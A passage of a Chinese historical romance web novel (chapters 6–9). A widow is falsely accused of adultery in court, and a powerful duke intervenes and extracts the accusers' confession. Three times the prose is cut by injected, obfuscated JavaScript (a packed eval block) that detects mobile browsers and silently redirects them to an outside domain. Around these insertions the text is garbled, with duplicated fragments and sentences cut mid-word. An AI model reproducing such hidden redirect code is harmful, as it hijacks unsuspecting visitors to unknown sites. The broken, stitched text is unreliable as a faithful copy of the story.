“她定是攀上高枝儿了,否则今儿个就不会把你往死路上逼!你还念着旧情,这是要你老子娘的命啊!!” “你个不孝子,你说不说,你不说,回头也不用大人判刑了,我这就撞死在你面前!到地底下再去跟于氏列祖列宗赔罪!!” 说完她爬起来就要去撞柱子,堂上的捕快赶忙去拦,于老七也顶着被打肿的脸去拉,讼师请知州大人令的话都被打断了。 就在这混乱不堪的时候,无人发现,于老媪快速凑到于老七耳旁急促说了一句话。 于老七眼神一亮,立马明白过来阿娘的意思,配合着哭嚎起来。 “阿娘!是儿不孝啊!我不该为了一个虚情假意的女子就忘了您的养育之恩,我知道错了!” 他一脸悲愤看赵瑞灵一眼,脸上闪过痛苦、挣扎和坚定,这唱作俱佳的样子,让赵瑞灵也生出几分不妙的预感。 果不其然,于老七眼含热泪跪在堂前。 “启禀知州大人,草民念及过往情分,本不欲多说,毁了灵娘的名节。” 赵瑞灵气得支起身子来想骂,她跟于老七有个屁的情分! 但于老七没给她开口的机会,急促道:“奈何她多番哄骗,如今又要逼草民一家于死路,有些话草民不能不说。” 一大早就被登闻鼓叫醒,一直没怎么插得上话的知州,无可无不可地掩住哈欠,点了点头。 “你说。” 于老七‘决绝’看赵瑞灵一眼,大声道:“此前赵灵娘为哄骗草民将家中银钱送到她手上,已委身于草民!” “她腹下有一处胎记,形如元宝,还曾在厮混中与草民玩笑说,此为她旺夫之证!” 赵瑞灵脸色瞬间惨白,跌坐回去,下意识捂住自己的腹部。 不可能! 这地儿连于泓都没发现,于老七怎么知道的?! 府衙大堂瞬间安静下来,接着所有人的目光,都带着各种各样的颜色,落到了赵瑞灵身上。 哦不,也不是所有人。 穆长舟依然盯着低头佯装哭泣,实则强掩得意的于老媪。 其他人没发现于老媪的动作,却瞒不住他。 唔……这却是个好机会。 穆长舟唇角勾了勾,再次把令牌扔给看热闹的甄顺。 “传话给知州幕僚,让知州将这两拨人马全判下大狱。” 7. 第 7 章 人被逼到极限,就顾不得害怕了。 于旻颤抖着小身板,紧紧抓住赵瑞灵的衣摆,眼神中的惊惶被泪光遮住大半,努力压制着呼吸不敢哭。 阿桥在堂下大喊着于老七胡说八道,却被看热闹的人群默契挤到了后头。 赵瑞灵清楚,若她不能摆脱这脏水,他们三人顷刻间就会陷入比原来更绝望的境地。 她用尽全力撑起同样颤抖的身体坐直,指着于老七大骂—— “你胡说!我日日都在家中几乎不外出,外出也都有邻里看到,身边还有婢女陪伴,从未单独外出过!” “我乃秀才娘子,我夫泓郎为人端方,清风霁月,我于家虽非富户,可也有薄田收租,而你家房子都是泓郎借给你的银钱!” “我就是眼瞎了,也不可能在泓郎之后,选你这样面目可憎之人有首尾!” 于老七一脸悲切,恬不知耻地捂着胸口哭诉。 “先前你说不想叫人知道你在夫君孝期与我往来,每回都在夜里趁着阿桥和二郎睡下后才与我私会。” “若你不曾与我颠鸾倒凤,我又如何能得知你身上有印记!” 他拱手看向知州,“恳请知州大人派人验看这赵灵娘的身子,立时便能知草民所言真假!” 阿桥急得眼眶都红了,却不敢太过肆无忌惮地大叫大嚷。 敲登闻鼓之前,娘子特地吩咐过,一旦有什么意外,她绝不能干扰公堂被牵连。 她如今是唯一能再去袁宅请袁翁救命的人。 与此同时,堂外看热闹的那些人,看赵瑞灵的目光更灼热了些,甚至渐渐染上了不屑和暧昧的意味。 那么隐秘的地儿,什么形状的胎记都能被人知道,说俩人没一腿谁信啊? 至于于老七长得歪瓜裂枣……指不定是床榻上会耍花样呢啧啧…… 赵瑞灵在身后窸窸窣窣的讨论声中气得眼前一阵阵发黑,却只能强压着惊慌,努力让自己镇定。 可她实在想不出什么法子能反驳对方。 只要寻个验身的老媪一看,她身上的印记绝对瞒不住。 急得手脚冰凉几乎要晕过去的瞬间,赵瑞灵突然想起,于老媪每月都要去文昌庙上香,立刻咬紧牙关,噙着泪举起手来。 她扬声道:“我敢对天发誓,若我与你于老七有过首尾,叫我不得好死,下辈子为奴为娼,永世不得翻身!” “举头三尺有神明,于老七你可敢对天发誓,我若没与你私通,你全家都会死于横祸,你再无科举之可能,家人永世不得超生吗?” 于老七心下猛地颤了下,咬咬牙,在心里狂念着子不语怪力乱神,迟疑着欲要举手。 于老媪脸色大变,猛地扑过去压住于老七的手,对着赵瑞灵叫骂。 “分明是你这丧门星不检点,千人骑万人枕的货还想害人,活该你永生永世为奴为娼,凭什么让我儿立如此毒辣的誓言!” 这誓可不能发,万一叫文昌庙的菩萨听到应验了可怎么办! 于老七本来就不敢,被于老媪紧紧拉住,更说不出话来了。 周夫子请的讼师赶忙开口:“知州大人明鉴,于老七不敢立誓,此事必定有蹊跷!” “须知这女子身上的印记,除了床榻之间,家中长辈女眷也多有知晓,接生婆也知道,这于老七却有惑众意图陷害赵氏之动机……” 讼师正喋喋不休,知州陈清源的幕僚突然匆匆自外头进来大堂,在陈清源耳侧说了几句。 “还请知州大人……”讼师想将官司延后,再行查探于老七家过去与于家的往来。 但他还没说完,陈知州猛地拍了下惊堂木,突然板起脸来。 “够了!” “一个私密的衣裳都落在旁人手里,有在为夫守孝期间与人私通之嫌,还被人探得身上印记,后又敲响登闻鼓,玩闹公堂,实属不该!” “一个口口声声与寡妇通女干,实则有觊觎旁人家财之嫌,加之咆哮公堂,藐视本官,实无耕读人家之风骨!” “无论孰是孰非,皆违我湖州府之良俗,本官无论如何也不能任由你们逍遥在外!” “来人!将两家都押入大牢,待本官派人查明后,再行发落!” 于老媪愣住了,还没被衙役抓住就膝行着往前,大声哀嚎—— “大人明察啊!分明是这贱人毒妇心肠,水性杨花,这还有什么好查的,您不能看她跟个狐狸精似的,就信了她的话啊大人……” “放肆!本官如何断案,如何由得你一个山野老媪来质疑!”陈知州大怒,直接扔了一根令签下去。 “胆敢侮辱本官,胡搅蛮缠,先打二十大板再下狱!” 赵瑞灵本来也想跟于老媪比比看谁哭得更凄惨,苍白着脸儿手都拧到大腿上了,被那令签吓了一跳,紧紧揽住于旻又缩了回去。 “阿嫂!阿嫂呜呜我怕……”于旻作为男丁,是不能进女牢的,被衙役单独抱起来,害怕地冲赵瑞灵伸手,没忍住哭出了声。 赵瑞灵赶紧爬起来追过去,“阿旻别怕,此事与你无关,等知州大人查清楚就会放了你,你等着阿桥……” 话没说完,她就被衙役压住,不得不流着泪被押送到府衙后头的女牢。 在这场闹剧落幕之前,穆长舟就带着甄顺端坐在了知州府后头的正院喝茶。 陈清源带着幕僚急匆匆赶过来,见到穆长舟赶忙躬身行叉礼。 “湖州府知州陈清源见过醇国公,不知醇国公大驾光临湖州府,有失远迎,实是下官罪过……” 穆长舟起身,大跨步走过去,握住陈清源的手,轻巧将他提了起来。 “无妨,某来此地为圣人办差,本不欲声张,遇上个硬骨头,只能借你这案子一用。” 被扶得差点后仰过去的陈清源:“……”案子还有借的? 他思及先前被呈送到堂前的诉状。 那是袁大家所写,陈清源本就有所顾忌。 他清楚袁大家不会轻易替人写这种讼状,写了那就是以自身名声做担保。 于老七母子也确实獐头鼠目不像好人,这种案子作为知州他也看过不知道不少。 也不是什么大案子,看在讼状的面子上,陈清源本想由那讼师说完,顺势将于老七母子打一顿,唬住人,让他们往后不敢再动歪心思也就罢了。 如今被拦下,陈清源心下略一思忖,便明白过来缘由。 他含笑微微躬身,“醇国公可是为袁大家而来?” “赵灵娘亡夫于泓颇有才名,过去曾得袁大家指点,如今看来袁翁心善,念及指点情谊,舍不得叫于泓遗孀和幼弟受苦,才会特地写了讼状。” “此案已在讼师之间传开,今日过后,百姓怕也多有议论,不知……醇国公意欲如何断案,下官也好提前准备应对之法。” 穆长舟轻笑了声,冲陈清源抬抬手示意坐下说,自己先坐了回去。 “你怕我拿此案来威胁袁修永,惹得那小老儿鱼死网破,闹大了此案,影响你的官望?” 屁股刚挨着凳子的陈清源立马又起身,委婉苦笑。 “下官不敢,只是涉及桃色,悠悠众口难堵,袁翁德高望重,若被牵连……” 穆长舟摆摆手,“丁是丁卯是卯,某就借你个地方用用,案子我替你查清楚,怎么对外说,如何处置,你自己看着办。” 陈清源微微松了口气。 醇国公是狼覃军大将军,手握重兵,连圣人都不敢等闲待之,他出身寒门,更得罪不起这等人物。 既醇国公如此说,那无论结果如何,陈清源对袁翁和百姓总能有所交代。 他小心翼翼试探:“那下官这就派捕快,协助醇国公提人前来查案?” 穆长舟起身,看了眼甄顺,道:“不必,我亲自去大牢审,事关圣都之事,你的人不必在场。” “此事有定论之前,有任何消息从府衙传出去,我只找你算账! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630246|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 甄顺从怀中取出一枚金牌给陈清源看。 这是外出替圣人当差的圣人令,见金牌如圣人亲临,与尚方宝剑也差不多了。 陈清源赶忙跪地,喏喏应下,熄了假去袁宅送信,好跟袁翁亲近些的念头,再不敢多说。 出来府衙,甄顺摩拳擦掌:“郎君准备先审问那老媪还是于老七?咱们从西北回来,我可好久没干过这细活儿了!” “先审于老七吧。”穆长舟无可无不可道。 “记得别留下话柄。” 甄顺明白郎君的意思,这上刑不留痕迹的法子多的是,以前审问西戎细作的时候,他也没少给郎君打下手。 于老媪人老成精,指不定就倚老卖老,一口咬死赵瑞灵与她儿通女干。 不如先审问于老七,那猪头一看就不惊吓,唬一唬保不准连几岁尿床都能交代咯。 结果一抬头,甄顺就见穆长舟往女牢那边去,愣了下。 “郎君,不是先审于老七吗?” 穆长舟脚步不停:“你去审于老七,审人之前,先去拦下赵灵娘那女婢,让她给她家娘子准备些精细吃食送进来,我去审赵灵娘。” 甄顺张嘴就被风噎得说不出话来,砸着胸口,眼睁睁看着他那见色起意的郎君进了女牢。 他恍然间自觉明白过来,为何郎君警告陈知州不许消息外泄,又为甚这么关照赵瑞灵。 咱就是说,郎君你这个审问……正经吗?! 有陈知州的吩咐,穆长舟畅通无阻进了女牢。 赵瑞灵被推入牢里后,才有工夫忆起堂上的惊险,抱着自己呜呜哭了会儿。 直到哭得口干舌燥,她看着被放在牢房角落里,已看不出颜色的陶碗和冷水陶壶,实在不敢入口,哭不下去了。 她紧紧攥着手在牢里努力回忆,终于记起于老媪能知道她身上印记的机会。 她阿娘早年间摔到过脑袋,失去了过去的记忆,不爱出门。 她阿耶赵虎生是个猎户,跟飞禽走兽打交道比跟人打交道更多。 与夫妻二人交好的,也就只有因于泓的救命之恩常有来往的于家夫妇。 她阿娘怀孕后,常过来探看照顾的,就是赵瑞灵婆母林氏。 这是赵瑞灵被带到于家生活后,婆母跟她说起的,也是林氏给她阿娘接生的。 林氏怀着二郎的时候,给未出生的孩子做百家衣,特地在衣襟上缝了个小元宝。 来送百家衣的陈媪问起,林氏说起赵瑞灵身上的胎记,直言想生个跟赵瑞灵一样可爱的小女娘。 当时赵瑞灵在堂下天井里玩儿灰陶手铃,记得那日于老媪带着于老七哭上门借钱,怕是这时候听到的。 她立马疾步走到牢门前,想喊人。 只要陈媪愿意给她做证,就能证明这胎记是于老媪偷听到的。 可抓住牢门后,她又皱着眉迟疑。 陈媪生了两个女娘,夫君早死,她给大娘招赘后,也只生了个外孙女,那赘婿还跑了。 所以陈媪和家中大娘靠浆洗衣裳为生,日子过得苦,不敢轻易得罪秀才巷的人家。 于老七好歹是个读书人,还有宗族做靠山,陈媪未必敢给她做证。 万一于氏族长上门威胁,或出银钱收买,赵瑞灵也不肯定陈媪会不会反咬她一口,把她孝期私通的罪过定下来…… 穆长舟一走近,就见赵瑞灵在牢门前,低头捻脚,还嘀咕着咦咦呜。 她发髻因先前的推搡挣扎变得毛茸茸的,确实像极了被关起来的兔子。 他看了眼牢头,牢头赶忙过来开锁,带着看守的老媪退了出去。 这动静惊得赵瑞灵仓皇抬起头,就看到了穆长舟,吓得她呆立当场。 黑熊……哦不,是活阎王来了! 因为她坑了他一把,阎王上门索命来了?? 穆长舟抬腿跨进牢里,撩起眼皮子正欲起范儿,却也蓦地愣在了当场。 8. 第 8 章 江南四月的天儿,清晨还有冷风往骨头缝儿里钻,中午就能热得人心浮躁,坐立不安。 阿桥抹着汗,在大牢外急得团团转,娘子先前在大堂内喊的话她也听到了。 她不放心二郎那么小一个孩子独自被收押,便想着先使些银子打点一二,问问娘子和二郎在牢里什么情况,才好去袁宅求救。 但她给看守牢房的衙役塞银子,却没人肯收。 眼看着太阳越升越高,阿桥怕耽搁下去夜长梦多,跺跺脚,转身就要往豆花巷跑。 甄顺出来,正好拦住阿桥。 “等等,阿桥是吧?你要去哪儿?” 阿桥被甄顺吓了一跳,见是那天被娘子坑了的傻子,心立刻紧成一团。 这不是屋漏偏逢连夜雨吗?她可没时间跟这位郎君掰扯。 她立刻绕开甄顺就跑。 “我不认识郎君,郎君认错人了!” 甄顺看着阿桥跑开,也不急,抱着胳膊扬声问—— “不想见你家娘子和二郎了?” 阿桥刚跑开几步的身影猛地顿住,不可置信地转回身来。 “郎,郎君什么意思?” 甄顺冲阿桥露出个得意的笑。 “你觉得呢?” 阿桥:“……”她觉得白日见鬼了啊! 这郎君竟是官府里的人? 那不是从虎口落到狼窝里吗?? 赵瑞灵也这么觉得,天要亡她啊! 见那牢头对穆长舟的态度,也能知道穆长舟身份不俗。 偏偏先前还坑了他,扭头就犯到这人手里……她不会要去陪阿兄了吧? 她眼含热泪噗通一声跪地,语气哀哀:“先前都是我的错,我不该骗你们,要打要杀我都认了,只二郎是无辜的,求郎君……求贵人放过二郎……” 穆长舟原本想先吓住赵瑞灵,再以能替她翻案为条件,让她替他说服袁翁与他见面,最好是能说服袁翁去圣都。 若能验证赵瑞灵的身份,带回去还能得太后一个人情。 若不能,就舍些银钱让她和小叔子日子过得舒坦些便也罢了。 那次在袁宅门前,赵瑞灵跟花猫一样看不清面容,堂上也是背对着堂下,穆长舟这才看清赵瑞灵的面容。 眉如远黛,眸盈秋水,唇若丹朱,鹅蛋脸儿略苍白,美得如同初绽清荷,并不像穆长舟记忆中的才绝娘子谢如霜那般高雅温婉。 那双瞪圆的杏眸闪烁着震惊,扑簌着往下落泪,毫无清冷之意,只觉娇憨怜人。 可她相貌……却跟谢如霜像足了九分,几乎不用其他手段再证明,他就能肯定赵瑞灵一定是谢如霜之女! 穆长舟突然改变了主意。 他探身上前,将哭得梨花带雨的赵瑞灵提起来,语气温和。 “娘子不必担心,些许小事某并未放在心上,于家二郎我已让知州妥善安顿,不会让他受罪。” 赵瑞灵稍稍松了口气,接着心却又提到了嗓子眼儿。 连知州这人都能安排? 他到底什么身份,为什么会帮她? 穆长舟的眼神一直没从赵瑞灵脸上离开,看着她哭肿的眼睛,有些控制不住回忆起过去。 他阿耶死在冲都之战前夕,却依然追封醇国公,还令他平袭爵位,被很多参与了冲都之战的权贵们所不满。 其实当时大荆京都外各自为战,各地被大荆皇室仓促推到前面做肉盾的杂牌军不堪一击,他阿耶本该顺利参加冲都之战的。 只因他阿娘对自家表兄那点子可笑的心思,被人鼓动着给阿耶下了令人身体无力的药,意欲拦住阿耶脚步,为她表兄争战功。 结果阿耶强撑着身体一定要出战,受了暗伤,后为保护几番被行刺的太后,死在了刺客手里。 穆长舟亲耳听到阿娘在卧寝跟保母哭诉自己的悔意,一时无法接受阿娘害死阿耶的事情,不肯回家,要跟在太后跟前为父报仇。 那年他才跟于二郎一样大,太后得知他阿娘所为后,无奈将他安置在妹妹谢如霜身边,被照顾了半年有余。 他也曾暗中派穆家的家将在江南寻找过好几年,直到他去西北从军才收回了人手。 他清楚记得谢如霜的长相,更不曾忘记她用那双跟赵瑞灵一模一样的杏眸温柔又冷静地望着她,劝他的话。 “长舟,这世间不是所有父母生来都懂该如何爱自己的孩子,他们先是自己,才是旁人的夫君、娘子、耶娘。” “你要记得,没有人生来是欠你的,也天然有为己辜负他人的权利,这并非你可左右的。” “你要做什么,可以靠自己去努力,永远不要将希望放在旁人身上,永远不能辜负你的只有你自己。” 他从未忘记这道理,如今,倒也该把恩情还予谢如霜之后,吓唬就算了,当是交好才是。 当然,救命之恩自然比指点之恩重,过后只需赵瑞灵替他引荐于袁翁便可,其他的……有太后和英国公府来还。 回过神,穆长舟语气更温和了些。 “你别怕,我知道你是无辜的,此来便是为了救你出去。” 被提起来后就瑟缩在一旁的赵瑞灵头皮发麻。 她才不信天上会掉馅饼。 她没见过黑熊笑,可熊瞎子咧嘴反正不可能是英雄救美,那是狗熊要吃美呜呜……太吓人了! 不用抬头,她也能感觉到穆长舟的目光始终落在她身上。 即便被公婆和阿兄养在家中比较单纯,赵瑞灵也不是傻子。 一个陌生男子,突然对一个寡妇伸出援手,大概跟于老七也没什么不同。 于老七她可以壮着胆子告,眼前这明显就位高权重的男人,她却只能跟待宰的羔羊一样。 她努力冲穆长舟露出个难看的笑,“多,多谢恩公相助,灵娘定会铭记恩公的恩情,下辈子报您大恩。” 穆长舟微微挑眉,下辈子?不愧是才绝娘子之后,倒是会打算盘。 赵瑞灵被他盯得越来越紧张,不自在解释道:“贵人一看就不凡,灵娘全家死绝,如此命格不详的丧门星,不敢跟贵人沾染因果。” “此生实难报恩公万一,定会为恩公点一盏长明灯,祈祷您长命百岁。” 穆长舟:“……”他倒也没那么想活成老妖精。 他算是看出来了,这小娘子在他面前,跟其他人一样,确实胆子不大,但胆子再小也不耽误她不长良心。 巧了,他却也不是什么善人。 他慢条斯理靠近赵瑞灵,循循善诱。 “你当知,私密衣裳和胎记位置都落在旁人手里,即便你有多少证据,也很难摆脱这盆脏水。” 赵瑞灵咬住唇后退一步,不说话。 是,她清楚这种事儿只要传出去,就少不了风言风语。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630247|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可两相其害取其轻,她只求于老七不敢再对她动心思。 等于旻拜入袁翁门下,她再做个俗家居士,承诺永不二嫁。 这桩官司在知州面前挂上了号,即便于氏族里也不敢再对她和二郎做什么。 穆长舟大概能猜得出一脸倔强的赵瑞灵在想什么。 他轻笑了声,继续上前紧逼:“即便我能让你摆脱牢狱之灾,你敲登闻鼓,将些微家族小事闹上公堂,等同将于氏一族陷于不义。” “于二郎乃至你公婆和亡夫,都有可能因不顾念家族乡邻声誉而被逐出于氏。” “你以为,失去宗族,背负忘恩负义之名,于二郎还能有什么好前程?” 赵瑞灵继续后退,蓦地撞在牢房墙上,被吓得脸色发白,这她确实没想过。 她突然想起,阿兄给族中献祭田,乃至在于老媪请了族长来说和,要借读书尚可的于老七家银钱买宅子的时候,也曾苦恼过。 她问起,他却说没什么,等他中了举就好了。 如今想来,却是为了顾念家族声誉而不得不为之? 她不明白,秀才不应该被族里捧着才对吗?要不然这书读得也太憋屈了。 穆长舟见赵瑞灵皱巴着小脸儿满脸不解,就知她是不懂世道纷纭熙攘,往上爬,凭得不过声名二字。 考中秀才者不知凡几,该穷困潦倒,受困于世俗,半分不会少。 一旦中举便可称公入仕,届时与民才有了天渊之别,再无人敢轻易得罪。 可即便是那些进士出身的相公们,都要为老家乡族亲眷声名所累,要约束他们不能闹出能被人攻讦的把柄。 即便是他,为了替穆氏得来的爵位正名,也不得在还未及笄时,便远赴苦寒之地拼命。 穆长舟没跟赵瑞灵解释,只告诉她于自己有利的结果。 “只有你具备了让他们忌惮甚至害怕的价值,或有了靠山,他们才不敢再做任何欺你之事,而我恰恰可以帮你。” 赵瑞灵心下一颤,慢慢抬起头看向穆长舟。 昏暗的牢房里,他高大的身影近在咫尺,如同令人恐惧的巨兽黑影一样压过来,让人几乎喘不过来气。 而他跟盯住猎物一样的目光,带着几分冷幽审视,更叫人心里发寒。 她惊恐地将双手捂着身前,果然,虽长得好看些,眼神凶了些,人高大了些……啊呸!他就是馋她! 她不敢得罪穆长舟,瑟缩着脑子紧转,嘴上下意识道:“我,我乃袁翁弟子的嫂嫂,袁翁最重规矩礼法,最厌恶以势欺人,见色起意之辈。” “我,我深知袁翁高德,已应下袁翁绝不会二嫁,更不会给人做妾,坏二郎师门声名。” 这人一看就年纪不小了,肯定不会还没娶妻! 既然他说得具备让人忌惮的价值,或者要有靠山,那曾在圣都做过大官的袁翁他总得怕吧? 有袁翁在前,她只盼这活阎王会知道何为害臊! 穆长舟:“……” 他面无表情看着快要嵌到墙上的赵瑞灵,特别想扒开她脑袋,看看里面都装得什么浆糊。 他说见色起意是懒得跟甄顺解释,甄顺相信那是他没脑子。 但他没跟赵瑞灵说任何不该说的话,她却跟圣都那些女娘一般,只浅谈几句,这小娘子连嫁进门还是被纳进门都想到了。 如今的小女娘这都什么毛病? 9. 第 9 章 穆长舟心下不耐烦地啧了声。 以他的性子,干脆利落把人吓个半死,让人自觉乖乖听令行事最是痛快。 可凭这小娘子将来的身份,如今是吓不得,重不得。 以袁修永的丘壑,即便没见过谢如霜,也见过与谢如霜面容有三分相似的太后,说不定是知道赵瑞灵的身份,才会指点那于泓…… 他压下心底烦躁,既她自己多想,却不如顺着她自以为猜出的真相顺势而为。 穆长舟后退几步,似笑非笑望着赵瑞灵。 “依娘子所说,袁翁并非看在你亡夫面子上偶然心善,而是看在于二郎的份上,才会给你写讼状?” 赵瑞灵生怕吓不退这人,忙不迭点头。 “对!袁翁亲口所说,只待此间事了,就叫二郎上门!” 至于是当牛做马,还是认弟子……那什么,反正都是在袁翁身边伺候,也差不多。 穆长舟笑了,目光依然盯在赵瑞灵芙蓉面上。 “好啊,某确实敬重袁翁为人。” “明日我便带于二郎上门求证,若袁翁认下他这学生,我就帮你们打赢官司,就算是替袁翁办事了。” “若娘子撒谎……”他笑得更加意味深长了些,由着赵瑞灵那双水润润的眸子瞪得更圆。 “某自也会有别的法子帮娘子脱困。” 等穆长舟离开,赵瑞灵顾不得牢里脏,腿软得棉花也似,一屁股坐在了地上。 可算把这阎王给吓走了。 很快便有看管犯人的老媪进来,好声好气将先前收走的银饰还给赵瑞灵,还殷勤替她打扫干净牢房,换了新的水壶和水碗进来。 赵瑞灵灌下去一大碗水,总算能稍稍冷静下来思考,总觉得有哪儿不大对劲。 “娘子,娘子!” 不等赵瑞灵想明白,阿桥活泼的声音,伴随着赵瑞灵最喜欢的炙鹿肉的香气,在牢外响起。 赵瑞灵咽着口水抬起头,就见阿桥被牢头客客气气送进牢房,连时间限制都只字不提。 赵瑞灵立刻接过阿桥手里的东西,迫不及待拿出一串炙鹿肉吃,含混着问。 “你怎么来了?不是叫你去找袁翁求救吗?袁翁愿意见你吗?” 阿桥左右瞧了瞧,没见有人,凑到赵瑞灵耳旁小声跟她解释。 “我刚准备去,被我们坑过的那个郎君给拦住了,甄郎君说这案子如今归他家郎君管辖。” “他说咱们贸然求到袁翁门上,容易惹袁翁厌烦,实不如托请他家郎君审问于老七,逼问出实情,还娘子清白,也不会连累袁翁名声。” 赵瑞灵吃东西的速度慢了下来,沮丧地红了眼眶。 她也知道一直赖着袁翁有点过分,更不知袁翁还愿不愿帮她。 只是她一个内宅妇人,实在没有其他法子能压制于老七和族里。 即便接受先前那人的援手,却也是要付出代价的,还是得劳烦袁翁,不然就得把自己填进去…… 这可真是前有狼后有虎,实叫人进退不能。 阿桥见赵瑞灵泫然欲泣的模样,赶忙道:“我知娘子担心对方黄鼠狼给鸡拜年也没安好心,特地打听清楚了的。” “且不说娘子这本就是无妄之灾,叫于老七承认自己的诡计于他们不是什么难事,他们所求也只是能替家中小郎寻袁翁为师,叫咱们引荐一番,袁翁若是不愿,他们还敢强求不成?” “咱们先前坑他们一回,如今就当是还回去了,即便袁翁不同意,讼状毕竟是袁翁写的,他们也不敢因此就败坏了袁翁的名声。” “为了证明诚意,甄郎君特地叫我进来宽慰娘子,我觉得……他们不像坏人。” 赵瑞灵眼神复杂抬头看阿桥,坏人能把坏字写在脸上吗? 她虽不聪明,却也明白,要真是好心,当是把人救出去再提引荐之事,而不是到牢里连吓带哄地谈条件。 是了,刚才那人吓得她脑子都跟浆糊似的,没想明白这点,才会觉得违和。 反正对方怎么看也不像好人。 她咬咬牙,吩咐阿桥:“明日他们带二郎去袁宅见袁翁,你也去,袁翁喜喝酒,你替我带一坛子阿兄留下的酒过去。” “如果袁翁愿意见你们,你请袁翁定要品一品这酒,若袁翁不愿意露面,只要交给门房老丈便可。” 阿桥只当这是上门不能空手的礼数,利落应下。 翌日一早,穆长舟骑马,甄顺带着阿桥,把被牢头安置在值房里照顾的于旻给带了出来,赶马车往豆花巷去。 阿桥仔细瞧着,于旻虽然眼眶还有些红,面上并无惊惧之色,显然被照顾得很好,原本提着的心放下大半。 她没见过牢头在穆长舟面前卑躬屈膝的模样,在她看来,袁翁是能跟知州比肩的人物,穆长舟主仆二人有心借帮她们来讨好袁翁,也属正常,倒也没太担心。 袁大丰一开门,就见先前来过的小娘子和一个跟于泓有五分相似的小郎站在门前。 穆长舟和甄顺主仆安静站在台阶下头,一个微笑颔首,一个龇着两排大白牙笑得特别不值钱。 “奴见过老丈。”阿桥躬身,小声对着袁大丰道。 “奴先前与我家娘子前来拜见过袁翁的,官司出了些岔子,知州将娘子下了大狱,幸得穆郎君相助,才暂时无碍。” “今日前来叨扰,是……是……” 见阿桥打磕巴,甄顺笑嘻嘻接话:“是讼状上有些地方我们郎君看得不是很分明,想请教袁翁,才好帮赵娘子和于二郎打赢这场官司。” 袁大丰心里呸了声鬼话连篇。 以郎君在湖州府的声望,就算官司有波折,知州也不敢直接把人关起来。 要不是醇国公狡诈,仅凭陈清源的座师曾受过郎君恩惠,陈清源也有法子帮赵瑞灵打赢这场官司。 既这醇国公手段都使到赵娘子身上了,那郎君早年间被才绝娘子所托之事怕是成了空。 这回袁大丰说话就没上回客气了。 “我们郎君说,于二郎可以进门,至于穆郎君,您要是看不懂讼状,我们郎君可以手书一封与陈知州,请他来断案,不劳烦您插手。” “什么阿猫阿狗的想进门,那些魑魅魍魉的手段我们郎君瞧不上,须得赵娘子亲自来说请。” 说完,袁大丰也没给穆长舟说话的机会,直接起身抱起孩子进门。 于旻有些害怕袁大丰,但路上已经被阿桥叮嘱过要听话,只紧抿着小嘴儿看向阿桥。 阿桥赶紧把娘子交代的那坛子酒递给袁大丰,叮嘱几句叫于旻听话,便一同被关到了门外。 对上甄顺,阿桥还敢多说几句,但站在穆长舟面前,阿桥还不如自家娘子,一个字也不敢多说,只用紧张的眼神盯着甄顺。 甄顺也看自家郎君。 穆长舟只轻笑了声,什么也没说,转身上马,打马往府衙去。 看袁大丰这态度,穆长舟就能确认,袁修永确实知道赵瑞灵的身世,甚至知道的时间不短,却从未想过将人送回圣都。 分明是尊贵的国公之后,袁修永却想叫人永远隐匿在南地,做个谁都能欺负的普通百姓……有意思,袁修永这圣都进定了。 等到了府衙,阿桥赶忙拉住停下车就要进府衙的甄顺。 “甄郎君,你,你们郎君还愿意救我们家娘子吗?” 甄顺冲她挑眉:“那还用说,阿猫阿狗还等你们娘子领进门呢,等着吧,这两天你们娘子就能出来。” 阿桥:“……”猫没看出来,是都挺狗的。 她咽下心中腹诽,赶忙往家跑。 娘子最是娇气,在牢里关上几日怕是要遭罪了,她得多烧些水,准备些柚子叶,给娘子去去晦气。 事实上,甄顺说得还是保守了。 穆长舟却没打算跟在赵瑞灵面前一样废话,直接将于老七母子提到了刑房里。 陈清源一直叫人盯着牢房这边。 不过几个时辰,太阳都还没落山,去盯着的人就满脸呆滞地回来,把供词送到了陈清源案前。 于老七对自己如何收买自己的表姨母,也就是于氏族长娘子,借着对方枕头风,叫族长对他所为视而不见,又如何知道赵瑞灵腹部胎记的,都一五一十记得分明。 “可恶至极!”陈清源作为两榜进士出身的文官,看到于老七一个读书人竟然做出如此腌臜之事,气得直拍桌子。 于老七竟在于泓还活着的时候,就觊觎自己的堂嫂赵瑞灵。 甚至在于泓外出进学时,几次三番偷爬于家后墙,偷看赵瑞灵沐浴。 那小衣放在哪里,又该怎么进去偷,竟是于老七跟自己老子娘说的。 他平日里还让母亲不错眼地盯着于家,只为了让赵瑞灵害怕之下,早日带着于家家财嫁给他。 供词最后,于老媪招供,一如赵瑞灵所想,那胎记的位置是她吃不上饭,带儿子上于家门打秋风的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630248|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,听赵瑞灵婆母林氏和邻人陈氏闲谈记住的。 